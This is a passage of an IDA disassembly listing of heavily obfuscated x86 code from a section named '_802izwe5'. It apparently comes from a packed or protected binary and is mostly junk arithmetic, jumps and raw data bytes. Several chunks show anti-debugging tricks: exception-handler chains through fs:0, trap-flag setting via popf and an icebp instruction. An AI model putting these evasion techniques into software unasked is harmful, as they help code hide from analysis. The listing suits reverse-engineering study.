0BBF3FAF6h, 5ECE03DDh, 0BD5B01C7h, 0C0330043h, 0C359h dd 7230E9h, 0E9000000h, 2112h, 0F560E900h, 6467FFFFh, 36FFh dd 3808E9h, 800F0000h, 14DBh, 3603E9h, 87000000h, 70CE929h dd 0 ; --------------------------------------------------------------------------- mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h jmp loc_43955F ; --------------------------------------------------------------------------- db 2 dup(0), 89h ; CODE XREF: _802izwe5:0043E362j ; --------------------------------------------------------------------------- aaa loc_437D59: ; DATA XREF: sub_439ED1+4182o pop dword ptr fs:0 xchg eax, [esp] pop eax xchg edx, [esp] pop edx jmp loc_4386D1 ; --------------------------------------------------------------------------- dd 50F08100h, 3B6F887Dh, 58E958C8h, 75h, 5A241487h, 7CB0E8h dd 7D05C600h, 0F0043ECh, 0C3D505C6h, 0C30F0043h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C50C loc_437D94: ; CODE XREF: sub_43C50C+Dj jmp loc_43ED6C ; END OF FUNCTION CHUNK FOR sub_43C50C ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_26. PRESS KEYPAD "+" TO EXPAND] dd 0FFF9B4E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; =============== S U B R O U T I N E ======================================= sub_437DA2 proc near ; CODE XREF: sub_43F18B:loc_4390C1p ; DATA XREF: sub_439ED1:loc_43EA36o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00438E91 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004397CB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043ED7B SIZE 0000000D BYTES push edi mov edi, esi jmp loc_438E91 sub_437DA2 endp ; --------------------------------------------------------------------------- dw 5700h ; --------------------------------------------------------------------------- push 2E604408h adc edi, ebx jmp loc_43BCBF ; --------------------------------------------------------------------------- dd 0A5E78100h, 0E9229151h, 4391h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DA03 loc_437DC6: ; CODE XREF: sub_43DA03-1FDAj rol edi, 1Ch loc_437DC9: ; CODE XREF: sub_43DA03:loc_43BF9Aj push eax push esi mov esi, edi xchg esi, [esp+0] push offset sub_43ECCE jmp nullsub_9 ; END OF FUNCTION CHUNK FOR sub_43DA03 ; --------------------------------------------------------------------------- loc_437DDA: ; CODE XREF: _802izwe5:loc_43F0FAj mov ecx, esp push ebx push 0D6B64C07h pop ebx or ebx, 0D279FCB3h jmp loc_43C7C0 ; --------------------------------------------------------------------------- jl loc_43C085 add bh, dh retn 89E4h ; --------------------------------------------------------------------------- inc esi db 2Eh jmp loc_437EC8 ; --------------------------------------------------------------------------- dd 8D00C600h, 43BD8F68h, 2F7AE900h, 0 ; =============== S U B R O U T I N E ======================================= sub_437E10 proc near ; CODE XREF: sub_4393E2:loc_43C5DAp ; FUNCTION CHUNK AT 0043D074 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax popf mov esp, ebp push offset loc_43BF5F jmp loc_43D074 sub_437E10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0), 0C1h ; CODE XREF: sub_438A6E:loc_43F93Dj ; --------------------------------------------------------------------------- retn 8107h ; --------------------------------------------------------------------------- db 0E2h ; --------------------------------------------------------------------------- fdiv st(4), st lodsd cmp cl, al retn 8104h ; --------------------------------------------------------------------------- retn 2928h ; --------------------------------------------------------------------------- db 33h dd 997A6888h, 0B4E90043h db 59h, 2 dup(0) ; --------------------------------------------------------------------------- loc_437E3F: ; CODE XREF: _802izwe5:loc_43E1D2j call sub_43EACE jmp loc_43DE6C ; --------------------------------------------------------------------------- loc_437E49: ; CODE XREF: _802izwe5:0043EE8Bj and ebp, 0F8940AD4h ; =============== S U B R O U T I N E ======================================= sub_437E4F proc near ; CODE XREF: sub_43C65A+303p ; FUNCTION CHUNK AT 0043986D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BDCB SIZE 0000000A BYTES xchg edi, [esp+0] pop edi add ecx, 88458004h jmp loc_43986D sub_437E4F endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_437E5E: ; CODE XREF: _802izwe5:loc_43EC7Dj jnb loc_43C1DE push ecx mov ecx, eax xchg ecx, [esp] push 96F0DB7Fh pop eax add eax, 0C22DF98h and eax, 607462E6h jmp loc_43E81E ; --------------------------------------------------------------------------- align 2 mov byte ptr [edi], 87h push offset dword_43DBCC jmp locret_43B523 ; --------------------------------------------------------------------------- align 10h loc_437E90: ; CODE XREF: _802izwe5:0043D4D1j rol eax, 0Ah loc_437E93: ; CODE XREF: _802izwe5:loc_43D4BAj add edx, 0CF957ED8h rol edx, 17h push offset word_437EF2 jmp loc_43D061 ; --------------------------------------------------------------------------- dw 4D9Eh dd 0FC45FFF0h, 0F07D83h, 4AD8D0Fh, 57E90000h, 22h, 87C18B50h dd 93E92404h, 9 ; --------------------------------------------------------------------------- loc_437EC8: ; CODE XREF: _802izwe5:00437DFAj jz loc_4391C2 loc_437ECE: ; CODE XREF: _802izwe5:00439254j jg near ptr dword_437A98+1Ah sub esi, 0A8D34CB3h jg loc_43FAB9 jmp loc_43C07F ; --------------------------------------------------------------------------- db 9Dh, 81h, 0C1h dd 12AF12A8h, 0FFF4AAE9h db 0FFh, 0 word_437EF2 dw 0F281h ; DATA XREF: _802izwe5:00437E9Co dd 0F9552F0Eh, 0E8241487h, 6B25h, 0F3E90000h, 38h, 0FAE9F92Bh ; CODE XREF: sub_43E9D9-2E3Fj db 41h, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F688 loc_437F0F: ; CODE XREF: sub_43F688-1989j jno loc_43BDC1 sbb ebx, 3FCEEF57h test ecx, esi jmp loc_43EE61 ; END OF FUNCTION CHUNK FOR sub_43F688 ; --------------------------------------------------------------------------- not edx ; =============== S U B R O U T I N E ======================================= sub_437F24 proc near ; CODE XREF: sub_439ED1+CADp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043F983 SIZE 00000007 BYTES xchg edx, [esp+0] pop edx mov dword ptr [ecx], offset loc_437C0C xor eax, eax jmp loc_43F983 sub_437F24 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 dw 108Bh dd 97D6857h, 0E95FDE57h, 0FFFFF8A0h, 820F0000h, 1A74h ; CODE XREF: _802izwe5:00439768j dd 5E243487h, 5FE9CC36h, 0Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_437F58: ; CODE XREF: sub_439ED1-1AC3j mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h xor eax, eax add ecx, 4 mov [ecx], eax add ecx, 4 jmp loc_43BF43 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CAE5 loc_437F7D: ; CODE XREF: sub_43CAE5-12A6j pop dword ptr fs:0 xchg eax, [esp-4+arg_0] pop eax xor eax, eax jmp loc_43C503 ; END OF FUNCTION CHUNK FOR sub_43CAE5 ; --------------------------------------------------------------------------- dw 0C300h dd 0DFE90000h, 1Dh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_437F98: ; CODE XREF: sub_43C65A-288Bj jmp loc_4390E7 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_437F9D: ; CODE XREF: sub_439ED1:loc_4380F1j push 41DF5414h pop edx or edx, 14C98435h add edx, 0AA640E5Dh xchg edx, [esp-0Ch+arg_8] jmp loc_43A532 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F18B loc_437FB9: ; CODE XREF: sub_43F18B-1563j push offset word_439522 jmp loc_43CCF9 ; END OF FUNCTION CHUNK FOR sub_43F18B ; --------------------------------------------------------------------------- align 4 dd 689C5700h, 39BC2286h, 0DFC7815Fh, 8164074Ah, 0DC21F8E7h dd 6C7C106h, 0A803C781h, 81E9CFF7h, 44h, 0F9E4668h, 243487E3h dd 0D665685Eh, 0C15A771Ch, 24E913C2h, 2Ah, 0E1815900h dd 6BA37D27h, 925EC181h, 0CE9BD20h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E22A loc_438013: ; CODE XREF: sub_43E22A+6j mov fs:0, esp jmp loc_43940F ; END OF FUNCTION CHUNK FOR sub_43E22A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43801E: ; CODE XREF: sub_439ED1:loc_43B7BBj rep icebp jmp near ptr loc_43F6CD+5 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= sub_438026 proc near ; DATA XREF: sub_439ED1-F90o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043773F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00438309 SIZE 00000027 BYTES pop dword ptr fs:0 xchg eax, [esp-4+arg_0] pop eax push edi push 8671DDA7h jmp loc_438309 sub_438026 endp ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DB2C loc_43803D: ; CODE XREF: sub_43DB2C+10j add edi, 0C55110C2h or edi, 9461299Fh call near ptr sub_43C65A loc_43804E: ; CODE XREF: sub_439ED1+4DA3j jmp loc_439B6D ; END OF FUNCTION CHUNK FOR sub_43DB2C ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_438054: ; CODE XREF: sub_439ED1:loc_43BD55j mov [ecx], eax push offset dword_43B5F0 jmp loc_439F9B ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 67h ; g db 64h ; d db 89h ; ‰ db 26h ; & db 0 db 0 db 9Ch ; œ db 0E9h ; é db 0B2h ; ² db 29h ; ) db 0 db 0 ; --------------------------------------------------------------------------- loc_43806C: ; CODE XREF: _802izwe5:loc_43825Cj xchg eax, [esp] or eax, 100h xchg eax, [esp] popf nop jmp loc_43F900 ; --------------------------------------------------------------------------- cdq call near ptr sub_43EB57 add cl, ch mov ebx, 69h ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43808C: ; CODE XREF: sub_439ED1+1431j jmp loc_43DA18 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_438093: ; CODE XREF: sub_439ED1+15Bj jmp loc_438762 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 0E03AF181h, 0C1C1FBFAh, 7C18106h, 81BBD6B8h, 2AE5E3F1h dd 0EC18145h, 0E8C8FD86h, 0FFFFF7BDh, 0D0E90000h, 0FFFFFEh db 0 ; --------------------------------------------------------------------------- loc_4380C1: ; CODE XREF: _802izwe5:004377A7j jmp loc_43D145 ; --------------------------------------------------------------------------- align 4 loc_4380C8: ; CODE XREF: _802izwe5:loc_43E0CDj mov byte ptr [ecx], 87h xchg edx, [esp] mov ecx, edx pop edx xor esi, 142E0B15h rol esi, 0Bh and esi, 0EB5E88E1h rol esi, 0Ah jmp loc_43C4B3 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_16. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_4380EA: ; CODE XREF: sub_43C65A-F74j jmp near ptr dword_437548+10Bh ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_4380F1: ; CODE XREF: sub_439ED1+2E1j jmp loc_437F9D ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 81h ; db 0E8h ; è db 0F8h ; ø db 0A6h ; ¦ db 42h ; B db 0BCh ; ¼ db 0E9h ; é db 0E1h ; á db 1 db 0 db 0 db 0C6h ; Æ db 7 db 8Dh ; db 5Fh ; _ db 81h ; db 0C9h ; É db 68h ; h db 38h ; 8 db 46h ; F db 0ABh ; « db 81h ; db 0C1h ; Á db 0AAh ; ª db 20h db 47h ; G db 0DAh ; Ú db 50h ; P db 68h ; h db 0A7h ; § db 25h ; % db 6Ch ; l db 2Ah ; * db 0E9h ; é db 0FDh ; ý db 0FBh ; û db 0FFh db 0FFh ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_43. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43811D: ; CODE XREF: _802izwe5:0043F907j adc edx, 9FB44241h loc_438123: ; DATA XREF: sub_439ED1+553Do pop dword ptr fs:0 xchg eax, [esp] loc_43812C: ; CODE XREF: _802izwe5:00438574j pop eax sub eax, edx ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43812F: ; CODE XREF: sub_439ED1:loc_43A42Aj jz loc_43EA36 jmp loc_43BC5C ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DB2C loc_43813B: ; CODE XREF: sub_43DB2C:loc_43C4E5j pop ecx retn ; END OF FUNCTION CHUNK FOR sub_43DB2C ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43813F: ; CODE XREF: sub_439ED1:loc_43A532j push dword ptr fs:0 mov fs:0, esp jmp near ptr dword_43C9FC ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 14870000h, 7C536824h, 815F1DBBh, 3CF936F7h, 0A5CF81EDh dd 81B6F6F1h, 0DCEB5CC7h, 0E0E78143h, 0E9E52AE4h, 0FFFFFB6Bh dd 35A6EA68h, 24048765h, 8158D08Bh, 7E7062CAh, 7C2C195h dd 43917F68h, 5CCFE900h, 53000000h, 0FF497768h, 0E3815B5Eh dd 3503F851h, 0BD5EB81h, 0C3812D75h, 19B53CFFh, 0E9241C64h dd 703h, 5A241487h, 6436F668h, 7ABA525Eh, 0E90043A9h, 5B73h dd 68590000h, 0F68DD185h, 8B242C87h, 4FE95DFDh, 5Ch, 6359E581h dd 20E9FBFFh db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4381EB: ; CODE XREF: _802izwe5:loc_43854Cj sub edi, 8388CA8Dh and edi, 965F4AAFh add edi, 6C2A4468h jmp near ptr loc_43DCF5+1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_438202: ; CODE XREF: sub_439ED1+335j xchg edi, [esp+0] pop edi xchg ecx, [esp-8+arg_4] jmp loc_43DA18 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 10h test ds:dword_43B353, eax loc_438216: ; CODE XREF: _802izwe5:0043981Cj mov byte ptr [eax], 0C3h jmp loc_43C893 ; --------------------------------------------------------------------------- dw 5300h ; --------------------------------------------------------------------------- pop ecx pop ebx xchg eax, [esp] push eax pop esi xchg esi, [esp] jmp loc_43EE1F ; --------------------------------------------------------------------------- align 10h dd 0A9C78100h, 67CC6E1Bh, 68F64h, 24048700h, 68D50358h dd 439AEFh, 5E6DE9h, 0E900C300h, 5C05h, 0E9E90000h, 0FFFFF6h ; --------------------------------------------------------------------------- loc_43825C: ; CODE XREF: _802izwe5:0043B131j jmp loc_43806C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4391DC loc_438261: ; CODE XREF: sub_4391DC+6j jmp loc_43F252 ; END OF FUNCTION CHUNK FOR sub_4391DC ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_43BFFF loc_438268: ; CODE XREF: sub_43BFFF+1CC5j call sub_43D917 jmp loc_4389B9 ; END OF FUNCTION CHUNK FOR sub_43BFFF ; --------------------------------------------------------------------------- db 50h ; P db 68h ; h db 55h ; U db 0E1h ; á db 38h ; 8 db 99h ; ™ db 87h ; ‡ db 14h db 24h ; $ db 8Bh ; ‹ db 0C2h ;  db 5Ah ; Z db 81h ; db 0E8h ; è db 0E3h ; ã db 23h ; # db 9Ch ; œ db 4Dh ; M db 0E9h ; é db 0A0h ; db 64h ; d db 0 db 0 align 2 locret_43828A: ; CODE XREF: _802izwe5:0043B7F3j retn ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_43F18B loc_43828C: ; CODE XREF: sub_43F18B-5B8j jmp loc_43A05C ; END OF FUNCTION CHUNK FOR sub_43F18B ; --------------------------------------------------------------------------- db 2 dup(0), 0C6h ; CODE XREF: sub_43F088:loc_438CA8j ; --------------------------------------------------------------------------- push es xchg ebx, [esi+53h] mov ebx, ecx xchg ebx, [esp] mov ecx, offset loc_43AC2C jmp loc_43E0CD ; --------------------------------------------------------------------------- align 4 loc_4382A8: ; DATA XREF: sub_43C65A:loc_43E6A6o xchg eax, [esp] jmp loc_43D1BD ; --------------------------------------------------------------------------- dd 0CF406800h, 3C873A0Fh, 5FC78B24h, 811EC0C1h, 4E4B52F0h dd 0A1C08175h, 0E984746Ch, 4565h, 96F08100h, 68E85124h dd 43CAB6h, 53F8E9h, 0D7810000h, 0E1635895h ; =============== S U B R O U T I N E ======================================= sub_4382E8 proc far ; CODE XREF: _802izwe5:0043949Bp xchg esi, [esp+0] pop esi push 2322A755h jmp loc_43A92D sub_4382E8 endp ; --------------------------------------------------------------------------- align 4 loc_4382F8: ; CODE XREF: _802izwe5:00439C08j and ebx, 516467Ch add ebx, 339228h jmp loc_43E223 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438026 loc_438309: ; CODE XREF: sub_438026+10j pop edi add edi, 0DC4CC3B0h sub edi, 9A061C91h xor edi, 7809A825h xchg eax, edx std add edi, 4F4ED315h mov [edi], eax push offset loc_439714 jmp loc_43773F ; END OF FUNCTION CHUNK FOR sub_438026 ; --------------------------------------------------------------------------- dd 8B57EC8Bh, 243C87F9h, 0C3D5058Dh, 6EE90043h, 81FFFFF0h dd 29EA73C0h, 0C8039DF5h, 6824E958h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_438352: ; CODE XREF: sub_439ED1:loc_43C652j push offset byte_439EF3 jmp nullsub_19 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CC54 loc_43835D: ; CODE XREF: sub_43CC54+Bj jl loc_43A134 call sub_43844A ; END OF FUNCTION CHUNK FOR sub_43CC54 ; --------------------------------------------------------------------------- dd 7AE90000h, 36h ; CODE XREF: sub_43C65A+D4Aj db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438E1C loc_438371: ; CODE XREF: sub_438E1C+1Fj jmp nullsub_6 ; END OF FUNCTION CHUNK FOR sub_438E1C ; --------------------------------------------------------------------------- loc_438376: ; CODE XREF: _802izwe5:0043F526j adc eax, ebp ; =============== S U B R O U T I N E ======================================= sub_438378 proc near ; CODE XREF: sub_4378C2:loc_43EF41p ; FUNCTION CHUNK AT 00438B9F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C314 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F445 SIZE 0000000A BYTES xchg edi, [esp+0] pop edi mov dword ptr [ebp-4], 1 push esi jmp loc_438B9F sub_438378 endp ; --------------------------------------------------------------------------- align 2 dw 0F1F0h ; --------------------------------------------------------------------------- jmp loc_43EAE3 ; --------------------------------------------------------------------------- db 2 dup(0), 68h ; CODE XREF: sub_439ED1:loc_43DF54j ; --------------------------------------------------------------------------- dec eax mov ch, 0B9h sbb eax, 97CA815Ah db 64h cmp edi, ecx and edx, 0E0E70D16h sub edx, 7E746F5Eh jmp loc_43F23C ; --------------------------------------------------------------------------- dword_4383B0 dd 65E9CC67h, 5Eh; --------------------------------------------------------------------------- locret_4383B8: ; CODE XREF: _802izwe5:loc_43D061j retn ; --------------------------------------------------------------------------- align 2 loc_4383BA: ; CODE XREF: _802izwe5:00439205j mov ebx, (offset loc_438E48+3) jmp loc_43ED8A ; --------------------------------------------------------------------------- dd 0C35900h ; CODE XREF: sub_439ED1:loc_43C47Fj ; --------------------------------------------------------------------------- loc_4383C8: ; CODE XREF: _802izwe5:0043D1A6j push dword ptr fs:0 mov fs:0, esp jmp loc_4394CC ; =============== S U B R O U T I N E ======================================= sub_4383D9 proc near ; DATA XREF: sub_439ED1+3A2Ao push ebp mov ebp, ebx push offset loc_439E86 jmp locret_43C77F sub_4383D9 endp ; --------------------------------------------------------------------------- dw 0E99Dh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- pushf loc_4383ED: ; CODE XREF: _802izwe5:00437782j jmp loc_43A5A0 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_43B32C loc_4383F4: ; CODE XREF: sub_43B32C+7j jz loc_43DC22 ; END OF FUNCTION CHUNK FOR sub_43B32C ; START OF FUNCTION CHUNK FOR sub_43F18B loc_4383FA: ; CODE XREF: sub_43F18B-20D6j jmp loc_43E582 ; END OF FUNCTION CHUNK FOR sub_43F18B ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_438400: ; CODE XREF: sub_439ED1:loc_43C34Cj sub al, 99h push esi mov esi, offset byte_438DC7 jmp loc_43C979 ; --------------------------------------------------------------------------- loc_43840D: ; CODE XREF: sub_439ED1:loc_43CADFj push ecx jmp loc_437F58 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 dd 0E8815800h, 0CDCDF912h, 3B10F081h, 4968433Ch, 0E90043B9h dd 0FFFFEE06h, 0C1810000h, 9Ch, 0C1810100h, 4, 0BA3501C7h dd 0C0330043h, 3060E9h db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_43844A proc near ; CODE XREF: sub_43CC54-48F1p ; FUNCTION CHUNK AT 00437410 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00439AE3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043D2D5 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043DD7D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043EF53 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F049 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx jz loc_437410 jno loc_43DD7D call sub_43E40D loc_43845F: ; CODE XREF: sub_439ED1+3C85j jmp near ptr byte_43F52B sub_43844A endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_438464: ; CODE XREF: _802izwe5:loc_43E92Cj jmp locret_43CEE8 ; --------------------------------------------------------------------------- db 0Fh, 84h, 0C8h dd 3B00006Dh, 0EED2E9D1h, 0FFFFh, 0D8C2FA81h, 31E9D7CAh ; CODE XREF: _802izwe5:loc_43F634j dd 5E000070h, 1F8FE8h, 0ADE90000h, 8A00006Fh, 56E85201h dd 0E9FFFFFBh, 506Bh, 0CCF00000h, 0FFEF2AE9h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_4384A5: ; CODE XREF: sub_439ED1-250Dj add ebp, 85B96856h scasd xchg eax, esi pop esi jmp loc_43C571 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_4384B4: ; CODE XREF: _802izwe5:00438CA2j ; sub_439ED1+65Bj and edi, 3C95403Ah sub edi, 42C38375h xor edi, 0BDCD7CBBh popf add ecx, edi pop edi mov ecx, [ecx] jmp loc_43BE79 ; --------------------------------------------------------------------------- loc_4384D1: ; CODE XREF: sub_439ED1:loc_438541j mov byte ptr [edi], 8Bh pop edi call sub_4396ED loc_4384DA: ; CODE XREF: sub_43B481:loc_4399C5j pushf xchg eax, [esp-0Ch+arg_8] push ebx push 248A377Fh pop ebx jmp loc_43C768 ; --------------------------------------------------------------------------- loc_4384EA: ; CODE XREF: sub_439ED1:loc_43974Ej add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax jmp loc_43E3D1 ; --------------------------------------------------------------------------- loc_43850F: ; CODE XREF: sub_439ED1+31DCj jo loc_43DB50 xchg ebp, edi xchg eax, [ebx] loc_438519: ; DATA XREF: sub_439ED1+24AFo pop dword ptr fs:0 push offset word_43BA72 jmp locret_43A409 ; --------------------------------------------------------------------------- loc_438529: ; CODE XREF: sub_439ED1:loc_43A7ECj add ecx, 4 mov [ecx], eax loc_438531: ; CODE XREF: sub_439ED1:loc_43A758j add ecx, 0A0h mov dword ptr [ecx], offset loc_43F8D7 xor eax, eax pop ecx retn ; --------------------------------------------------------------------------- loc_438541: ; CODE XREF: sub_439ED1:loc_43C631j jmp loc_4384D1 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dw 0E900h ; CODE XREF: _802izwe5:0043D254j dd 31E6h ; --------------------------------------------------------------------------- loc_43854C: ; CODE XREF: _802izwe5:0043D15Bj jmp loc_4381EB ; --------------------------------------------------------------------------- align 2 add ecx, 4 mov dword ptr [ecx], offset loc_43C23F xor eax, eax pop ecx retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_438563: ; CODE XREF: _802izwe5:00439575j jmp loc_43CE5F ; --------------------------------------------------------------------------- db 67h ; g db 64h ; d db 0FFh db 36h ; 6 db 0 db 0 db 0E9h ; é db 0EDh ; í db 0FAh ; ú db 0FFh db 0FFh align 4 jge loc_43812C jmp loc_43D489 ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_438581: ; CODE XREF: sub_439ED1-267Fj pop ebx sub ebx, 6E17E71Ah or ebx, 67A30FDEh sub ebx, 8B026E0Fh and ebx, 0AEF54D5Fh add ebx, 735AFEB4h add ecx, ebx jmp loc_43A71A ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 dd 87068900h, 0F58B242Ch, 6578E95Dh, 0CC8B0000h, 10C181h ; CODE XREF: _802izwe5:0043D768j dd 98B0000h, 1301C7h, 0C0330001h, 4C181h, 39E90000h, 0Bh dd 85FD0B00h, 0F410E9C7h, 0C300FFFFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_4385E2: ; CODE XREF: _802izwe5:004376A8j jmp loc_43E1F8 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_4385E9: ; CODE XREF: sub_43C65A:loc_4386FEj mov byte ptr [eax], 0Fh pop eax push esi push 529890AAh jmp loc_43C44D ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- dd 0A0CB6800h, 0E6E90043h, 19h, 5E243487h, 0FF1C281h, 128BEF18h dd 0B6E9h db 0, 0C3h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_438616: ; CODE XREF: sub_439ED1+54DCj jmp loc_43D5DA ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 jmp loc_43B92D ; --------------------------------------------------------------------------- jmp loc_43DC2E ; --------------------------------------------------------------------------- align 4 dd 53E8CC8Bh, 0C600001Fh, 0E8598B01h, 511Fh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43863A: ; CODE XREF: sub_439ED1+53A0j jmp loc_43BC0A ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 10h dword_438640 dd 68992C00h, 0BDF3B8BCh, 8B243C87h, 0EA815FD7h, 0E5527578h ; DATA XREF: _802izwe5:0043CAC4o dd 0B34FF281h, 0E952C846h, 5DD9h, 8B580000h, 1301C709h dd 81000100h, 18C1h, 81018A00h, 9CC1h, 81010000h, 4C1h dd 57DAE900h, 0 ; --------------------------------------------------------------------------- loc_438688: ; DATA XREF: sub_439ED1+D2Fo push edx call loc_43AACD loc_43868E: ; CODE XREF: _802izwe5:00439445j mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h jmp loc_43C4C0 ; --------------------------------------------------------------------------- align 4 dd 37E98100h, 81DD134Bh, 0E1FD68C9h, 2C18152h, 8134CB02h dd 0E8D797C9h, 7FF1810Ch, 31801A3h, 78E859D1h, 0E9000007h dd 11F3h db 0 ; --------------------------------------------------------------------------- loc_4386D1: ; CODE XREF: _802izwe5:00437D67j mov eax, ds:dword_43DFC4 push eax push 63834B2Eh pop eax xor eax, 0F7695009h and eax, 1D2D9AEDh or eax, 0E353CFB0h jmp loc_43C6EC ; --------------------------------------------------------------------------- align 2 locret_4386F6: ; CODE XREF: _802izwe5:0043D23Dj retn ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EEEF loc_4386F9: ; CODE XREF: sub_43EEEF+16j jmp loc_43CBD1 ; END OF FUNCTION CHUNK FOR sub_43EEEF ; 